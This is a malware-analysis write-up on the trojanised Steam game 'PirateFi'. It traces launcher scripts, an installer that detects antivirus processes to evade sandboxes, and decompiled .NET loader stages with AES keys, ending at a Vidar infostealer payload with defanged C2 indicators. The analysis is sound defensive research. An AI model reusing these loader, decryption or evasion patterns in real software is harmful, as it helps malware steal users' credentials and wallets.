Picking Apart PirateFi: A Trojanised Steam Game
In February 2025, a new game hit the Steam marketplace in beta, titled “PirateFi”. The free-to-play game was somewhat underwhelming due to the fact that it was uploaded in order to steal victims’ information and hijack user accounts.
The game was taken down from the Steam marketplace, but the change history can be found here: https://steamdb.info/app/3476470/history/
Upon review, Changelist #27351505 caught my eye due to the following line, showing a heavily embedded vbs script being added:

This directory within the game files contains several launchers that ultimately execute Pirate.exe.
The directory contains the following files:
| Filename | Purpose |
|---|---|
piratefi.vbs |
Launches piratefi.bat |
piratefi.bat |
Launches batch2.vbs |
batch2.vbs |
Launches batch2.bat |
batch2.bat |
Launches Pirate.exe |
Pirate.exe |
Main Executable Payload |
Pirate |
Directory |
Engine |
Directory |
Pirate.exe
Pirate.exe is an InnoSetup executable, the contents of which can be extracted with the following Binary Refinery pipeline:
ef Pirate.exe [| xt -j | d2p ]
This will produce three directories - data, embedded and meta.
embedded/script.ps is the PowerShell installer script. It’s main purpose is to execute the binary dropped by the installer - ‘Howard.exe’.
Before doing so, it builds the command ‘cmd.exe /C tasklist /FI “IMAGENAME eq
| Process | Product |
|---|---|
wrsa.exe |
Webroot SecureAnywhere |
opssvc.exe |
Quick Heal |
avastui.exe |
Avast |
avgui.exe |
AVG |
nswscsvc.exe |
Norton/Symantec |
sophoshealth.exe |
Sophos |
If any of these processes are found, the installer Sleeps for 193 seconds before proceeding, a common sandbox evasion technique.
Howard.exe
I found Howard.exe quite difficult to analyse, but got lucky by setting a breakpoint on VirtualAlloc and identifying an indirect call to the API.

The return address of the VirtualAlloc call in this case was 02BA0000 - our memory region where a buffer of memory is to be written to.
Setting a memory write breakpoint on this address, we identify a loop where a payload is being written:

We can see the full buffer by resuming execution to when the loop completes. Within the memory buffer are the magic bytes of a PE:

To get the next payload, we’ll dump this memory region to disk and carve the PE with the following Binary Refinery pipline:
ef Howard.exe_memory.bin | carve-pe | dump carved.exe
SmartAssembly
The next-stage payload is an assembly compiled with SmartAssembly. De4dot makes the assembly easier to read, with the Main function as follows:
// Token: 0x060000D1 RID: 209 RVA: 0x00006990 File Offset: 0x00004B90
static void Main()
{
byte[] array = null;
while (array == null)
{
try
{
array = Class7.smethod_14();
}
catch
{
}
}
Assembly assembly = Class7.smethod_5(array);
if (assembly != null)
{
Type type = Class7.smethod_99("S015sDJkvQDvP3a6cx.UyOmhW05bcEWWnZuqT", assembly);
if (type != null)
{
Class7.smethod_26("AHQt3OKaB", type);
}
}
}
smethod_14 takes an encrypted resource and AES decrypts it. It is then loaded and the AHQt3OKaB Method from the UyOmhW05bcEWWnZuqT Class from the S015sDJkvQDvP3a6cx Namespace is invoked.
static byte[] smethod_14()
{
byte[] emyrsqaglox = Class1.Emyrsqaglox; // return (byte[])Class1.Cazmb.GetObject("Reydbozimwj", Class1.cultureInfo_0);
byte[] array;
using (Aes aes = Aes.Create())
{
aes.KeySize = 256;
aes.Key = Convert.FromBase64String(Class0.string_0); // string_0 = UlPs+RiNkeAQjtjBHi2FZme93GOwtujN9g03qBhA2xM=
aes.IV = Convert.FromBase64String(Class0.string_1); // string_1 = 8VSGg0PMrhcl1gUkFwmUlg==
ICryptoTransform cryptoTransform = aes.CreateDecryptor(aes.Key, aes.IV);
using (MemoryStream memoryStream = new MemoryStream())
{
using (MemoryStream memoryStream2 = new MemoryStream(emyrsqaglox))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream2, cryptoTransform, CryptoStreamMode.Read))
{
cryptoStream.CopyTo(memoryStream);
array = memoryStream.ToArray();
}
}
}
}
return array;
}
The embedded, encrypted resource can be decrypted with the following Binary Refinery pipeline:
ef Reydbozimwj | aes b64:UlPs+RiNkeAQjtjBHi2FZme93GOwtujN9g03qBhA2xM= -i b64:8VSGg0PMrhcl1gUkFwmUlg== | dump payload.bin
This reveals another assembly, this time protected with .NET Reactor.
Defeating .NET Reactor
Navigating to the invoked method without any deobfuscation reveals an empty function:
public static void AHQt3OKaB()
{
}
So, I’ll run the assembly through .NET Reactor Slayer, but I’ll uncheck the option to deobfuscate method names as I want to be able to easily navigate back to the invoked function.
Deobfuscated Method:
// S015sDJkvQDvP3a6cx.UyOmhW05bcEWWnZuqT
// Token: 0x0600000C RID: 12 RVA: 0x00003744 File Offset: 0x00001944
public static void AHQt3OKaB()
{
byte[] array = W9koEHYFJe2cbrx66DU.arrYByvGYZ(Resources.\uE004);
using (MemoryStream memoryStream = new MemoryStream(VR8byCY85iHMmkWcA17.cJ7YglW56B(array)))
{
memoryStream.Position = 0L;
UyOmhW05bcEWWnZuqT.WcVLolyxG(Serializer.Deserialize<G2hIrVIVBvIcoMgDTXd>(memoryStream));
}
string fileName = Process.GetCurrentProcess().MainModule.FileName;
if (!UyOmhW05bcEWWnZuqT.XOvH6LNBw().Af8Ig31OwW.fqBIiaUG95.IWXefBb0wc())
{
UyOmhW05bcEWWnZuqT.ya6v99WBB(fileName.Remove(fileName.Length - 4));
}
else
{
UyOmhW05bcEWWnZuqT.ya6v99WBB(fileName);
}
FrDsKD89TcS5HRpmUBY.Qa5YncKYGt();
new hJKfjd8vWo2m5BC6Wpx().l0Q8qruINT();
ELCTdV8NxKVBikYyuFt.U8P82y4wOo();
new JRh8eH84MCabEaYmU8A().Kfr8skRuwx();
new TfSVu48dKmxvm8KEswT().h4U8uTcbdl();
new RGocen86qh6N7GfwlvA().J8A8ZSQswQ();
new tG0AJHYIeqKtAmw68dT().Bt5YQ0Q3TF();
new s32S0o8MuDukiR5uEP1().nMf8SVA1Id();
new iLAO0m8yYcShq5JETKM().zeu8rn43W3();
new E9yQoj8YNIcMyXRnPVK().RuM80Cpwnv();
new aJdpAdeh0RPe9qlWvH7().olpe3i1MNq();
new M0cC6LIIEmdcvYv8TEE().g2xIQNJLQO();
new o3aauu8LXkovY1QsImm().zRv8EciZLm();
new YUBZYteWAfwDi3c3pfN().EWCeeeulAs();
new OVqCl58Ja3WRt1OtofY().cCG8HjRSQI();
new zVSXR08PBHganDMYBGO().gus8h2Aere();
ELCTdV8NxKVBikYyuFt.oKg8xJX5v1();
try
{
Process.GetCurrentProcess().Kill();
}
catch
{
}
throw new Exception();
}
The first line of code shows us that a resource is being given as an argument to the arrYByvGYZ method.
arrYByvGYZ Method:
// Token: 0x02000076 RID: 118
internal class W9koEHYFJe2cbrx66DU
{
// Token: 0x060001F5 RID: 501 RVA: 0x00007AE4 File Offset: 0x00005CE4
public static byte[] arrYByvGYZ(byte[] \u0020)
{
byte[] array2;
using (Aes aes = Aes.Create())
{
aes.KeySize = 256;
aes.Key = Convert.FromBase64String(FPtBe5YCL3LqueRW4xM.xLjYwbE09p(12081));
aes.IV = Convert.FromBase64String(FPtBe5YCL3LqueRW4xM.xLjYwbE09p(12265));
ICryptoTransform cryptoTransform = aes.CreateDecryptor(aes.Key, aes.IV);
using (MemoryStream memoryStream = new MemoryStream())
{
using (MemoryStream memoryStream2 = new MemoryStream(\u0020))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream2, cryptoTransform, CryptoStreamMode.Read))
{
cryptoStream.CopyTo(memoryStream);
byte[] array = memoryStream.ToArray();
array2 = array;
}
}
}
}
return array2;
}
The resource is then decrypted with AES. The Key and IV are encrypted - FPtBe5YCL3LqueRW4xM.xLjYwbE09p is a string lookup routine that utilises a hashtable.
The decrypted resource is then passed to function cJ7YglW56B - which is responsible for decompressing the payload.
// Token: 0x02000077 RID: 119
internal static class VR8byCY85iHMmkWcA17
{
// Token: 0x060001F8 RID: 504 RVA: 0x00007BE0 File Offset: 0x00005DE0
public static byte[] cJ7YglW56B(byte[] \u0020)
{
byte[] array3;
using (MemoryStream memoryStream = new MemoryStream(\u0020))
{
byte[] array = new byte[4];
memoryStream.Read(array, 0, 4);
int num = BitConverter.ToInt32(array, 0);
using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress))
{
byte[] array2 = new byte[num];
gzipStream.Read(array2, 0, num);
array3 = array2;
}
}
return array3;
}
I’m going to debug and set a breakpoint on ‘return array3;’ so that I can review the decrypted & decompressed payloads being passed through this function.

In the Locals window, we can see an array with an MZ header (4D 5A) - This is likely our next payload - we’ll dump this to disk.
I was able to view all decrypted strings by setting a Watch window on the string table as it was loaded:

Final Payload - Vidar Infostealer
The final payload observed is Vidar Infostealer. Vidar is an infostealer malware operating as malware-as-a-service that was first discovered in the wild in late 2018. This sample has the capability to steal sensitive data from Chromium & Firefox browsers, Cryptocurreny wallets, Steam, Discord, Telegram, Files, Applications such as WinSCP & FileZilla.
Stolen files are staged to ‘C:\ProgramData<session_id>’ before being POSTed to the dead-drop C2 domains.
Interesting IOCs
| Type | Value |
|---|---|
Build ID |
5a66c55e84f3f678650d4a78841e6451 |
C2 dead-drop (Telegram) |
https[://]t[.]me/sok33tn |
C2 dead-drop (Steam) |
https[://]steamcommunity[.]com/profiles/76561199824159981 |
Campaign tag |
a110mgz |
Internal name |
vdr1.exe |
Mutex/Event |
approve_april |
There’s a Web Archive hit from 14th Feb 2025 showing the configureed Steam dead-drop C2: 95.216.180[.]186

Kill Switch
After reading the C2 response via InternetReadFile, the very next thing the malware does is compare it against the string “block”:
0x4032B4 call sub_40D9F0 ; resolve response string pointer
0x4032B9 push offset aBlock ; push “block” to the stack
0x4032BE push eax ; push response string
0x4032BF call ds:StrCmpCA ; strcmp(response, “block”)
0x4032C5 test eax, eax
0x4032C7 jz loc_40338C ; if equal -> kill
...
0x40338C push 0 ; uExitCode = 0
0x40338E call ds:ExitProcess ; instant termination
The threat actor responsible for this malware as well as malware embedded in other titles is currently under investigation by the FBI. Additionally, the FBI are seeking victim information - https://forms.fbi.gov/victims/Steam_Malware